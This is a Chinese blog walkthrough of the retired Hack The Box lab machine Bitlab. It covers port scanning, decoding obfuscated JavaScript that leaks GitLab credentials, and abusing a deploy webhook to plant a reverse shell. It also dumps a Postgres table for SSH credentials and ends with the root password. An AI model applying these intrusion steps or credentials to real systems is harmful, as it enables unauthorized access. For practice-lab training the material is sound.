zoukankan      html  css  js  c++  java
  • HTB-靶机-Bitlab

    本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

    靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.114

    本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

    信息枚举收集
    https://github.com/codingo/Reconnoitre 跟autorecon类似
    autorecon 10.10.10.114 -o ./Bitlab-autorecon
    
    sudo nmap -sT -p- --min-rate 10000 -oA scans/alltcp 10.10.10.114
    或者
    
    sudo masscan -p1-65535,U:1-65535 10.10.10.114 --rate=1000 -p1-65535,U:1-65535 -e tun0 > ports
    ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '
    ' ',' | sed 's/,$//')
    sudo nmap -Pn -sV -sC -p$ports 10.10.10.114

    直接IP地址访问其80端口

    发现是个gitlab的应用,在爆破目录之前先访问下robots.txt看看

    显示不允许的东西太多了,经过测试访问,发现profile和help路径有敏感信息

    发现上面显示的help路径里面还有个书签地址,点击进去发现有个Gitlab Login的超链接,在浏览器上直接查看对应显示的前端代码

    var _0x4b18=["x76x61x6Cx75x65","x75x73x65x72x5Fx6Cx6Fx67x69x6E","x67x65x74x45x6Cx65x6Dx65x6Ex74x42x79x49x64","x63x6Cx61x76x65","x75x73x65x72x5Fx70x61x73x73x77x6Fx72x64","x31x31x64x65x73x30x30x38x31x78"];
    
    document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];
    document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5];
    }
    
    
    var _0x4b18=["x76x61x6Cx75x65","x75x73x65x72x5Fx6Cx6Fx67x69x6E","x67x65x74x45x6Cx65x6Dx65x6Ex74x42x79x49x64","x63x6Cx61x76x65","x75x73x65x72x5Fx70x61x73x73x77x6Fx72x64","x31x31x64x65x73x30x30x38x31x78"];
    _0x4b18
    ["value", "user_login", "getElementById", "clave", "user_password", "11des0081x"]

    得到了登录目标靶机的gitlab的账户和密码
    clave
    11des0081x

     成功登录到目标靶机的gitlab,发现属于管理员Administrator 下有两个仓库文件,分别是Deployer和Profile 翻看了一下

    根据上面的信息,发现其中显示index.php代码的内容

    <?php
    
    $input = file_get_contents("php://input");
    $payload  = json_decode($input);
    
    $repo = $payload->project->name ?? '';
    $event = $payload->event_type ?? '';
    $state = $payload->object_attributes->state ?? '';
    $branch = $payload->object_attributes->target_branch ?? '';
    
    if ($repo=='Profile' && $branch=='master' && $event=='merge_request' && $state=='merged') {
        echo shell_exec('cd ../profile/; sudo git pull'),"
    ";
    }
    
    echo "OK
    ";

    上述代码大概意思就是在仓库Profile下面,分支是master,同时合并请求就会执行sudo git pull  那么这里就可以上传反弹shell的php代码

    成功上传

    触发反弹shell,拿普通权限

    查看网络链接发现开放了5432端口,确认存在Postgresql数据 想要访问这个数据库,但是目标存在目标靶机上的docker环境中,而且靶机上也没有客户端,只能通过php代码从端口里面访问

    <?php
    $db_connection = pg_connect("host=localhost dbname=profiles user=profiles
    password=profiles");
    $result = pg_query($db_connection, "SELECT * FROM profiles");
    print_r(pg_fetch_all($result));
    ?>

    通过echo命令创建php代码文件

    使用echo命令追加文件
    
    echo '<?php
    $db_connection = pg_connect("host=localhost dbname=profiles user=profiles
    password=profiles");
    $result = pg_query($db_connection, "SELECT * FROM profiles");
    print_r(pg_fetch_all($result));
    ?>' > pg.php

    得到了登录目标靶机的ssh登录账户

    www-data@bitlab:/tmp$ php -f pg.php
    Array
    (
        [0] => Array
            (
                [id] => 1
                [username] => clave
                [password] => c3NoLXN0cjBuZy1wQHNz==
            )
    
    )
    
    登录方式:sshpass -p 'c3NoLXN0cjBuZy1wQHNz==' ssh -oStrictHostKeyChecking=no clave@10.10.10.114

    在家目录下发现一个二进制文件

    使用scp将目标靶机的二进制文件传到本地kali
    scp clave@10.10.10.114:RemoteConnection.exe .

    二进制分析,目前还不是很擅长,可参考:

    https://0xdf.gitlab.io/2020/01/11/htb-bitlab.html

    得到root密码

    root:Qf7]8YSV.wDNF*[7d?j&eD4^

    迷茫的人生,需要不断努力,才能看清远方模糊的志向!
  • 相关阅读:
    【题解】 bzoj1207: [HNOI2004]打鼹鼠 (动态规划)
    【题解】 bzoj1088: [SCOI2005]扫雷Mine (神奇的做法)
    【题解】 bzoj4472: [Jsoi2015]salesman (动态规划)
    【题解】 bzoj4033: [HAOI2015]树上染色* (动态规划)
    【题解】 [HNOI/AHOI2018]道路 (动态规划)
    炫酷的英文字体分享
    艾伦·麦席森·图灵
    历史上最知名的15位计算机科学家
    浏览器首页被改为2345之解决方法
    linux命令缩写及全称
  • 原文地址:https://www.cnblogs.com/autopwn/p/14818039.html
Copyright © 2011-2022 走看看